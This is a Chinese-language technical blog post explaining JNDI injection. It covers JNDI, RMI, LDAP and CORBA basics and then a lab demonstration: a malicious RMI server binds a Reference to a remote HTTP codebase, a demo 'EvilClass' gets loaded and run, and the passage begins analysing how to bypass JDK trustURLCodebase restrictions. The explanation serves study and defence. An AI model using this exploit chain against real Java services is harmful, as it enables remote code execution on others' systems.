JNDI 注入漏洞的前世今生

前两天的 log4j 漏洞引起了安全圈的震动,虽然是二进制选手,但为了融入大家的过年氛围,还是决定打破舒适圈来研究一下 JNDI 注入漏洞。

me

JNDI 101

首先第一个问题,什么是 JNDI,它的作用是什么?

根据官方文档,JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。虽然有点抽象,但我们至少知道它是一个接口;下一个问题是,Naming 和 Directory 是什么意思?很多相关资料都对其语焉不详,但其实官方对其有详细解释。

直译来说就是“名称”,但更多情况下是与 Naming Service 一起使用。所谓名称服务,简单来说就是通过名称查找实际对象的服务。这是个抽象概念,正如数学中的理论所言: 普适的代价就是抽象。名称服务普遍存在于计算机系统中,比如:

  • DNS: 通过域名查找实际的 IP 地址;
  • 文件系统: 通过文件名定位到具体的文件;
  • 微信: 通过一个微信 ID 找到背后的实际用户(并进行对话);
  • ……

通常我们根据名称系统(naming system)定义的命名规则去查找具体的对象,比如在 UNIX 文件系统中,名称(路径)规则就是以根目录为起点,并以 / 号分隔逐级查找子目录;DNS 名称系统中则是要求名称(域名)从右到左 进行逐级定义,并以点号 . 进行分隔。

其中另一个值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:

cn=John, o=Sun, c=US

即表示在 c=US 的子域中查找 o=Sun 的子域,再在结果中查找 cn=John 的对象。关于 LDAP 的详细介绍见后文。

在名称系统中,有几个重要的概念。

Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。

Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。

References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

名称服务还算比较好理解,那目录服务又是什么呢?简单来说,目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。

以打印机服务为例,我们可以在命名服务中根据打印机名称去获取打印机对象(引用),然后进行打印操作;同时打印机拥有速率、分辨率、颜色等属性,作为目录服务,用户可以根据打印机的分辨率去搜索对应的打印机对象。

目录服务(Directory Service)提供了对目录中对象(directory objects)的属性进行增删改查的操作。一些典型的目录服务有:

  • NIS: Network Information Service,Solaris 系统中用于查找系统相关信息的目录服务;
  • Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
  • 其他基于 LDAP 协议实现的目录服务;

总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。

在下文中如果没有特殊指明,都会将名称服务与目录服务统称为目录服务。

根据上面的介绍,我们知道目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。在 Java 应用中除了以常规方式使用名称服务(比如使用 DNS 解析域名),另一个常见的用法是使用目录服务作为对象存储的系统,即用目录服务来存储和获取 Java 对象。

比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java 对象进行实际的打印操作。

为此,就有了 JNDI,即 Java 的名称与目录服务接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。

JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:

jndi

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用;
  • LDAP: 轻量级目录访问协议;
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);

除此之外,用户还可以在 Java 官网下载其他目录服务实现。由于 SPI 的统一接口,厂商也可以提供自己的私有目录服务实现,用户可无需重复修改代码。

JNDI 接口主要分为下述 5 个包:

其中最重要的是 javax.naming 包,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 以上述打印机服务为例,通过 JNDI 接口,用户可以透明地调用远程打印服务,伪代码如下所示:

Context ctx = new InitialContext(env);
Printer printer = (Printer)ctx.lookup("myprinter");
printer.print(report);

为了更好理解 JNDI,我们需要了解其背后的服务提供者(Service Provider),这些目录服务本身和 JNDI 有没直接耦合性,但基于 SPI 接口和 JNDI 构建起了重要的联系。

SPI

本节主要介绍在 JDK 中内置的几个 Service Provider,分别是 RMI、LDAP 和 CORBA。这几个服务本身和 JNDI 没有直接的依赖,而是通过 SPI 接口实现了联系,因此本节先脱离 JNDI 对这些服务进行简单介绍。

第一个就是 RMI,即 Remote Method Invocation,Java 的远程方法调用。RMI 为应用提供了远程调用的接口,可以理解为 Java 自带的 RPC 框架。

一个简单的 RMI hello world 主要由三部分组成,分别是接口、服务端和客户端。

接口定义:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello() throws RemoteException;
}

这里定义一个名为 Hello 的接口,其中包含一个方法。

服务端:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
        
public class Server implements Hello {
        
    public Server() {}

    public String sayHello() {
        return "Hello, world!";
    }
        
    public static void main(String args[]) {
        
        try {
            Server obj = new Server();
            Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1098);

            // Bind the remote object's stub in the registry
            Registry registry = LocateRegistry.getRegistry(1099);
            registry.bind("Hello", stub);

            System.err.println("Server ready");
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

服务端有两个作用,一方面是实现 Hello 接口,另一方面是通过 RMI Registry 注册当前的实现。其中涉及到两个端口,1098 表示当前对象的 stub 端口,可以用 0 表示随机选择;另外一个是 1099 端口,表示 rmiregistry 的监听端口,后面会讲到。

客户端代码如下:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {

    private Client() {}

    public static void main(String[] args) {

        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            Hello stub = (Hello) registry.lookup("Hello");
            String response = stub.sayHello();
            System.out.println("response: " + response);
        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

通过 registry.lookup 获取其中的 Hello 对象,从而进行远程调用。

编译:

javac -d out Client.java  Hello.java  Server.java

生成 out/{Client,Hello,Server}.class 文件。 在启动服务端之前,我们需要先启动 registry:

$ cd out
$ rmiregistry 1099

个人理解 registry 类似于服务注册窗口,通过这个窗口 RMI 服务器可以注册自己的服务器到全局注册表中,客户端可以从而查询获取所有已经注册的服务提供商并进行具体的远程调用。启动 registry 后其运行于 1099 端口,随后启动 RMI 服务器进行注册并运行:

# 回到工程所在路径
$ java -cp out Server
Server ready

RMI 服务注册并启动后,同时会监听在 1098 端口,也就是我们前面绑定的端口,用于客户端调用具体方法(如 sayHello)时实际传输数据到服务端。

最后启动客户端进行查询并远程调用:

$ java -cp out Client
response: Hello, world!

需要注意的点:

  • rmiregistry 程序运行在 out 目录下,也就是我们编译的输出路径;
  • rmiregistry 启动后可能会过一段时间后才真正开始监听端口;
  • 如果 Server 绑定后退出,那么绑定信息仍然残留在 rmiregistry 中,再次绑定会提示 java.rmi.AlreadyBoundException,因此 RMI 服务端退出前应该先解除绑定;
  • 远程调用的参数和返回值经过序列化后通过网络传输(marshals/unmarshals)。

拓展阅读:

LDAP 既是一类服务,也是一种协议,定义在 RFC2251(RFC4511) 中,是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite

LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。

完整的协议介绍可以参考对应的 RFC 文档,我们这里直接通过抓包去直观的感受 LDAP 请求数据:

ldap

上述截图包含了客户端对于 LDAP 服务端的两次请求,一次绑定操作和一次搜索操作,其中搜索操作返回了两个 LDAPMessage,后一个类型为 searchResDone,标记着搜索结果的结尾,这意味着一般搜索请求可能会返回多个匹配的结果。

搜索请求使用 Python 编写,表示在 DN 为 dc=example,dc=org 的子目录(称为 baseObject) 中过滤搜索 cn=bob 的对象,最终返回匹配记录项。

@defer.inlineCallbacks
def onConnect(client):
    # The following arguments may be also specified as unicode strings
    # but it is recommended to use byte strings for ldaptor objects
    basedn = b"dc=example,dc=org"
    binddn = b"cn=bob,ou=people,dc=example,dc=org"
    bindpw = b"secret"
    query = b"(cn=bob)"
    try:
        yield client.bind(binddn, bindpw)
    except Exception as ex:
        print(ex)
        raise
    o = LDAPEntry(client, basedn)
    results = yield o.search(filterText=query)
    for entry in results:
        print(entry.getLDIF())

上述指定的过滤项称为属性,LDAP 中常见的属性定义如下:

String  X.500 AttributeType
------------------------------
CN      commonName
L       localityName
ST      stateOrProvinceName
O       organizationName
OU      organizationalUnitName
C       countryName
STREET  streetAddress
DC      domainComponent
UID     userid

见: LDAP v3: UTF-8 String Representation of Distinguished Names (RFC2253)

其中值得注意的是:

  • DC: Domain Component,组成域名的部分,比如域名 evilpan.com 的一条记录可以表示为 dc=evilpan,dc=com,从右至左逐级定义;
  • DN: Distinguished Name,由一系列属性(从右至左)逐级定义的,表示指定对象的唯一名称;

DN 的 ASN.1 描述为:

DistinguishedName ::= RDNSequence

RDNSequence ::= SEQUENCE OF RelativeDistinguishedName
RelativeDistinguishedName ::= SET SIZE (1..MAX) OF
AttributeTypeAndValue

AttributeTypeAndValue ::= SEQUENCE {
type  AttributeType,
value AttributeValue }

这也是前文所说的,属性 type 和 value 使用等号分隔,每个属性使用逗号分隔。至于其他属性可以根据开发者的设计自行添加,比如对于企业人员的记录可以添加工号、邮箱等属性。

另外,由于 LDAP 协议的记录为 DER 编码不易于阅读,可以使用 LDIF(LDAP Data Interchange Format) 文本格式进行表示,通常用于 LDAP 记录(数据库)的导出和导出。

CORBA 是一个由 Object Management Group (OMG) 定义的标准。在分布式计算的概念中,ORB(Object Request Broker) 表示用于分布式环境中远程调用的中间件。听起来有点拗口,其实就是早期的一个 RPC 标准,ORB 在客户端负责接管调用并请求服务端,在服务端负责接收请求并将结果返回。

CORBA 使用接口定义语言(IDL) 去表述对象的对外接口,编译生成的 stub code 支持 Ada、C/C++、Java、COBOL 等多种语言。其调用架构如下图所示:

orb
wikipedia: CORBA

CORBA 标准中定义了详细的接口模型、时序、事务处理、事件以及接口模型等信息,对其完整介绍超出了本文的范畴,我们直接从开发者的角度去进行实际的分析。

以实际的 Hello World 程序来看,一个简单的 CORBA 用户程序由三部分组成,分别是 IDL、客户端和服务端:

第一部分是 IDL 代码:

module HelloApp
{
  interface Hello
  {
  string sayHello();
  oneway void shutdown();
  };
};

使用 idl 编译器去编译 IDL 代码并生成实际的代码,这里以 Java 代码为例,使用 idlj 进行编译:

$ idlj -fall Hello.idl

-fall 表示同时生成客户端和服务端的代码,生成后的文件在 HelloApp 目录下。

根据这些生成的代码,我们可以编写自己的客户端和服务端,先看服务端:

// HelloServer.java
import HelloApp.*;
import org.omg.CosNaming.*;
import org.omg.CosNaming.NamingContextPackage.*;
import org.omg.CORBA.*;
import org.omg.PortableServer.*;
import org.omg.PortableServer.POA;

import java.util.Properties;

class HelloImpl extends HelloPOA {
    
  public String sayHello() {
    return "Hello from server";
  }

  public void shutdown() {
      System.out.println("shutdown");
  }
}


public class HelloServer {

  public static void main(String args[]) {
    try{
      // create and initialize the ORB
      ORB orb = ORB.init(args, null);

      // get reference to rootpoa & activate the POAManager
      POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
      rootpoa.the_POAManager().activate();

      // create servant
      HelloImpl helloImpl = new HelloImpl();

      // get object reference from the servant
      org.omg.CORBA.Object ref = rootpoa.servant_to_reference(helloImpl);
      Hello href = HelloHelper.narrow(ref);
          
      // get the root naming context
      // NameService invokes the name service
      org.omg.CORBA.Object objRef =
          orb.resolve_initial_references("NameService");
      // Use NamingContextExt which is part of the Interoperable
      // Naming Service (INS) specification.
      NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);

      // bind the Object Reference in Naming
      String name = "Hello";
      NameComponent path[] = ncRef.to_name( name );
      ncRef.rebind(path, href);

      System.out.println("HelloServer ready and waiting ...");

      // wait for invocations from clients
      orb.run();
    } 
        
      catch (Exception e) {
        System.err.println("ERROR: " + e);
        e.printStackTrace(System.out);
      }
          
      System.out.println("HelloServer Exiting ...");
        
  }
}

服务端主要做几件事:

  1. 实现 HelloPOA 的接口,也就是我们之前在 IDL 中定义的接口;
  2. 根据参数初始化 ORB 对象,这一步会通过网络连接 ORB 服务器,后面会讲到;
  3. 将本地实现的 Hello Impl 类转化为引用并绑定到 ORB 服务器对应 Hello 的名称中;
  4. 循环等待客户端调用;

接着我们看客户端的代码:

import HelloApp.*;
import org.omg.CosNaming.*;
import org.omg.CosNaming.NamingContextPackage.*;
import org.omg.CORBA.*;

public class HelloClient
{
  static Hello helloImpl;

  public static void main(String args[])
    {
      try{
        // create and initialize the ORB
        ORB orb = ORB.init(args, null);

        // get the root naming context
        org.omg.CORBA.Object objRef = 
            orb.resolve_initial_references("NameService");
        // Use NamingContextExt instead of NamingContext. This is 
        // part of the Interoperable naming Service.  
        NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
 
        // resolve the Object Reference in Naming
        String name = "Hello";
        helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));

        System.out.println("Obtained a handle on server object: " + helloImpl);
        System.out.println(helloImpl.sayHello());

        helloImpl.shutdown();

        } catch (Exception e) {
          System.out.println("ERROR : " + e) ;
          e.printStackTrace(System.out);
        }
    }

}

主要操作为:

  1. 通过命令行参数去初始化 ORB 对象,这个和服务端一致,也会连接到 ORB 服务器;
  2. 在 ORB 服务中查找(解析)名称 Hello,并通过 HelloHelper.narrow 转换为 Hello 对象;
  3. 通过获得的 Hello 对象发起真正的远程调用;

客户端和服务器在启动前都会连接 ORB 服务器,这可以看做是一个集中化的目录服务器,服务端连接后在上面注册自身的服务广而告之,客户端连接后查找想要的服务并进行调用。实际启动该服务器的命令如下,监听在 1050 端口:

orbd -ORBInitialPort 1050

编译好客户端和服务端代码后,先启动服务端,指定用于连接 orbd 的参数:

java HelloServer -ORBInitialPort 1050 -ORBInitialHost localhost

客户端的启动也是类似:

java HelloClient -ORBInitialPort 1050 -ORBInitialHost localhost

客户端的运行输出如下:

Obtained a handle on server object: IOR:000000000000001749444c3a48656c6c6f4170702f48656c6c6f3a312e300000000000010000000000000082000102000000000a3132372e302e302e3100e4d000000031afabcb0000000020b296da9800000001000000000000000100000008526f6f74504f410000000008000000010000000014000000000000020000000100000020000000000001000100000002050100010001002000010109000000010001010000000026000000020002
Hello from server

在 wireshark 中查看对应的流量:

pcap

流量主要分为两个部分,id 为 23 及其之前的为服务端启动的流量,后面的是客户端的启动以及请求流量。通用的部分为 op=getop=_is_a,在解析 ORB 类参数并连接 orbd 时触发。

服务端注册并绑定自身服务是通过:

  • op=to_name: 由 ncRef.to_name(name); 触发,将字符串名称转换为 NameComponent 对象;
  • op=rebind: 由 ncRef.rebind(path, href) 触发,将本地的对象绑定到目录服务中;

客户端查询服务并进行调用:

  • op=resolve_str: 由于 ncRef.resolve_str(name) 触发,根据字符串查询服务并转换为本地可调用的对象;
  • op=sayHello/shutdown: 发起实际的 RPC 调用;

这里有一个关键点是在服务端 to_name 的请求所对应的响应中,返回的是 IOR 结构对象,即上图高亮的部分。这个结构中包含了远程类的实现代码,在上面客户端的输出中,返回的 helloImpl 打印出来也是 IOR:000000000000001749444c3a48…,正是 resolve_str 的返回,和服务端 rebind 的返回结果是一致的。

IOR 的全称是 Interoperable Object Reference,即可互操作对象引用,其中包含了用于构建远程对象所需的必要字段,比如远程 IIOP 地址、端口信息(这个端口不是 1050,而是动态生成的)等。

其他一些常见的名词解释如下:

  • Stub: 由 IDL 编译而成的客户端模板代码,开发者通过调用这些代码来实现 RPC 功能;
  • POA: Portable Object Adapter,可拓展对象适配器,简单来就是 IDL 编译而成的服务端模板代码,开发者通过继承去实现对应的接口来实现 RPC 的服务端功能,参考上面代码中的 HelloPOA
  • GIOP: General Inter-ORB Protocol,ORB 互传协议,是一类抽象协议,指定转换语法和消息格式的标准集;
  • IIOP: Internet Inter-ORB Protocol,ORB 网间传输协议,是 GIOP 在互联网(TCP/IP)的特化实现;
  • RMI-IIOP: RMI over IIOP,由于 RMI 也是 Java 中常用的远程调用框架,因此 Sun 公司提供了针对这二者的一种映射,让使用 RMI 的程序也能适用于 IIOP 的协议;

拓展阅读:

JNDI 注入

背景知识总算介绍完了,接下来开始深入 JNDI 注入的原理。从上面介绍的三个 Service Provider 我们可以看到,除了 RMI 是 Java 特有的远程调用框架,其他两个都是通用的服务和标准,可以脱离 Java 独立使用。JNDI 就是在这个基础上提供了统一的接口,来方便调用各种服务。

一个简单的客户端示例程序如下,使用 JNDI 接口去查询 DNS 服务:

// DNSClient.java
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;

public class DNSClient {
    public static void main(String[] args) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

        try {
            DirContext ctx = new InitialDirContext(env);
            Attributes res = ctx.getAttributes("example.com", new String[] {"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

编译输出:

$ javac DNSClient.java
$ java DNSClient
{a=A: 93.184.216.34}

对于其他协议的调用也是类似,比如基于我们前面编写的 LDAP 服务器,使用 JNDI 去进行查询的代码如下:

public class Client {
    public static void main(String[] args) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:8080");

        try {
            DirContext ctx = new InitialDirContext(env);
            DirContext lookCtx = (DirContext)ctx.lookup("cn=bob,ou=people,dc=example,dc=org");
            Attributes res = lookCtx.getAttributes("");
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

输出:

$ java LDAPClient
{mail=mail: bob@example.org, userpassword=userPassword: [B@c038203, objectclass=objectClass: inetOrgPerson, person, top, gn=gn: Bob, sn=sn: Roberts, cn=cn: bob}

前面我们看到初始化 JNDI 上下文主要使用环境变量实现:

  • INITIAL_CONTEXT_FACTORY: 指定初始化协议的工厂类;
  • PROVIDER_URL: 指定对应名称服务的 URL 地址;

但是,实际上在 Context.lookup 方法的参数中,用户可以指定自己的查找协议,我们来看下面的代码:

public class JNDIDynamic {
    public static void main(String[] args) {
        if (args.length != 1) {
            System.out.println("Usage: lookup <domain>");
            return;
        }
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

        try {
            DirContext ctx = new InitialDirContext(env);
            DirContext lookCtx = (DirContext)ctx.lookup(args[0]);
            Attributes res = lookCtx.getAttributes("", new String[]{"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

意图很简单,想通过用户的输入去查找对应域名:

$ javac JNDIDynamic.java
$ java JNDIDynamic
Usage: lookup <domain>
$ java JNDIDynamic douban.com
{a=A: 140.143.177.206, 49.233.242.15, 81.70.124.99}

但是,我们也可以通过指定的查找参数去切换查找协议:

$ java JNDIDynamic "ldap://localhost:8080/cn=evilpan"
javax.naming.NameNotFoundException: [LDAP: error code 32 - No Such Object]; remaining name 'cn=evilpan'
	at java.naming/com.sun.jndi.ldap.LdapCtx.mapErrorCode(LdapCtx.java:3183)
	at java.naming/com.sun.jndi.ldap.LdapCtx.processReturnCode(LdapCtx.java:3104)
	at java.naming/com.sun.jndi.ldap.LdapCtx.processReturnCode(LdapCtx.java:2895)
	at java.naming/com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1034)
	at java.naming/com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at java.naming/com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:207)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
	at JNDIDynamic.main(JNDIDynamic.java:18)

此时我们的 LDAP 服务端已经收到了查询请求:

$ ./server.py
2021-12-13 19:50:08+0800 [-] Log opened.
2021-12-13 19:50:08+0800 [-] LDAPServerFactory starting on 8080
2021-12-13 19:50:08+0800 [-] Starting factory <__main__.LDAPServerFactory object at 0x10e552dc0>

2021-12-13 19:50:09+0800 [LDAPServer,0,127.0.0.1] S<-C LDAPMessage(id=1, value=LDAPBindRequest(version=3, dn=b'', auth='', sasl=False), controls=None)
2021-12-13 19:50:09+0800 [LDAPServer,0,127.0.0.1] S->C LDAPMessage(id=1, value=LDAPBindResponse(resultCode=0), controls=None)
2021-12-13 19:50:09+0800 [LDAPServer,0,127.0.0.1] S<-C LDAPMessage(id=2, value=LDAPSearchRequest(baseObject=b'cn=evilpan', scope=0, derefAliases=3, sizeLimit=0, timeLimit=0, typesOnly=0, filter=LDAPFilter_present(value=b'objectClass'), attributes=[]), controls=[(b'2.16.840.1.113730.3.4.2', None, None)])
2021-12-13 19:50:09+0800 [LDAPServer,0,127.0.0.1] S->C LDAPMessage(id=2, value=LDAPSearchResultDone(resultCode=32), controls=None)
2021-12-13 19:50:10+0800 [LDAPServer,0,127.0.0.1] S<-C LDAPMessage(id=3, value=LDAPUnbindRequest(), controls=[(b'2.16.840.1.113730.3.4.2', None, None)])

这就是 JNDI 注入 的根源所在。通过精心构造服务端的返回,我们可以让请求查找的客户端解析远程代码,最终实现远程命令执行。JDK 中默认支持的 JNDI 自动协议转换以及对应的工厂类如下所示:

协议 schema Context
DNS dns:// com.sun.jndi.url.dns.dnsURLContext
RMI rmi:// com.sun.jndi.url.rmi.rmiURLContext
LDAP ldap:// com.sun.jndi.url.ldap.ldapURLContext
LDAP ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP iiop:// com.sun.jndi.url.iiop.iiopURLContext
IIOP iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory

漏洞利用

根据上节介绍,基于 JNDI Context 的查找内容如果用户可控,就存在 JNDI 注入的可能,那注入后如何获得最终的代码执行权限呢?对于不同的内置目录服务有不同的攻击面,下面分别进行介绍。

为了简化代码,我们假定带有漏洞的程序如下:

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;

public class JNDILookup {
    public static void main(String[] args) {
        if (args.length != 1) {
            System.out.println("Usage: lookup <name>");
            return;
        }
        try {
            Object ret = new InitialContext().lookup(args[0]);
            System.out.println("ret: " + ret);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

本节主要分析 JNDI 在使用 RMI 协议时面临的攻击面。

在前面的 SPI 一节我们介绍的 RMI 的基本用法,服务端可以绑定一个对象,在客户端进行查找的时候以序列化方式返回;同时,我们也可以绑定一个对象的引用,让客户端去指定地址获取对象。

例如,我们编写程序注册一个恶意的 RMI 服务:

public class ServerExp {
        
    public static void main(String args[]) {
        
        try {
            Registry registry = LocateRegistry.getRegistry(1099);

            String factoryUrl = "http://localhost:5000/";
            Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("Foo", wrapper);

            System.err.println("Server ready, factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

这里使用的是 JDK 1.8.0-181,com.sun.jndi.rmi.registry.ReferenceWrapper 在新版本的 JDK 中被移除,需要额外引入对应 jar 包。

其中将 Foo 名称绑定为 EvilClass 的引用,并指定引用的地址为 http://localhost:5000,EvilClass 的定义为:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static void log(String key) {
        try {
            System.out.println("EvilClass: " + key);
        } catch (Exception e) {
            // do nothing
        }
    }

    {
        EvilClass.log("IIB block");
    }

    static {
        EvilClass.log("static block");
    }

    public EvilClass() {
        EvilClass.log("constructor");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        EvilClass.log("getObjectInstance");
        return null;
    }
}

主要通过打印来确定各个关键位置的代码调用顺序,将编译好的 EvilClass.class 文件放到对应 HTTP 目录下,在客户端执行查找操作:

$ java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true JNDILookup rmi://localhost:1099/Foo
EvilClass: static block
EvilClass: IIB block
EvilClass: constructor
EvilClass: getObjectInstance
ret: null

从 HTTP 服务器的日志可以看到 EvilClass.class 被请求,然后在客户端中我们远程的类代码也按照顺序被执行了。

上面执行时加上了一个 JVM 参数,如果不加的话你会收获一个异常:

javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at JNDILookup.main(JNDILookup.java:13)

这个限制在 JDK 8u1217u1316u141 版本时加入。因此如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码。

上面高版本 JDK 中无法加载远程代码的异常出现在 RegistryContext 中,相关代码如下:

// com/sun/jndi/rmi/registry/RegistryContext.java
private Object decodeObject(Remote r, Name name) throws NamingException {
    try {
        Object obj = (r instanceof RemoteReference)
                    ? ((RemoteReference)r).getReference()
                    : (Object)r;

        /*
            * Classes may only be loaded from an arbitrary URL codebase when
            * the system property com.sun.jndi.rmi.object.trustURLCodebase
            * has been set to "true".
            */

        // Use reference if possible
        Reference ref = null;
        if (obj instanceof Reference) {
            ref = (Reference) obj;
        } else if (obj instanceof Referenceable) {
            ref = ((Referenceable)(obj)).getReference();
        }

        if (ref != null && ref.getFactoryClassLocation() != null &&
            !trustURLCodebase) {
            throw new ConfigurationException(
                "The object factory is untrusted. Set the system property" +
                " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
        }
        return NamingManager.getObjectInstance(obj, name, this,
                                                environment);
//  } catch (NamingException e) { ...
}

根据注释所言,如果要解码的对象 r 是远程引用,就需要先解引用然后再调用 NamingManager.getObjectInstance,其中会实例化对应的 ObjectFactory 类并调用其 getObjectInstance 方法,这也符合我们前面打印的 EvilClass 的执行顺序。

因此为了绕过这里 ConfigurationException 的限制,我们有三种方法:

  1. ref 为空,或者
  2. ref.getFactoryClassLocation() 为空,或者
  3. trustURLCodebasetrue

其中第三个方法我们已经在上节用过,即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase 参数。

第一,令 ref 为空,从语义上看需要 obj 既不是 Reference 也不是 Referenceable,即不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;

第二,令 ref.getFactoryClassLocation() 返回空,即让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键;

要满足这种情况,我们只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase。下一步还需要什么,继续看 NamingManager 的解析过程,如下所示:

// javax/naming/spi/NamingManager.java
public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                        Hashtable<?,?> environment)
    throws Exception
{
    // ...
    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                    environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

    // try using any specified factories
    answer =
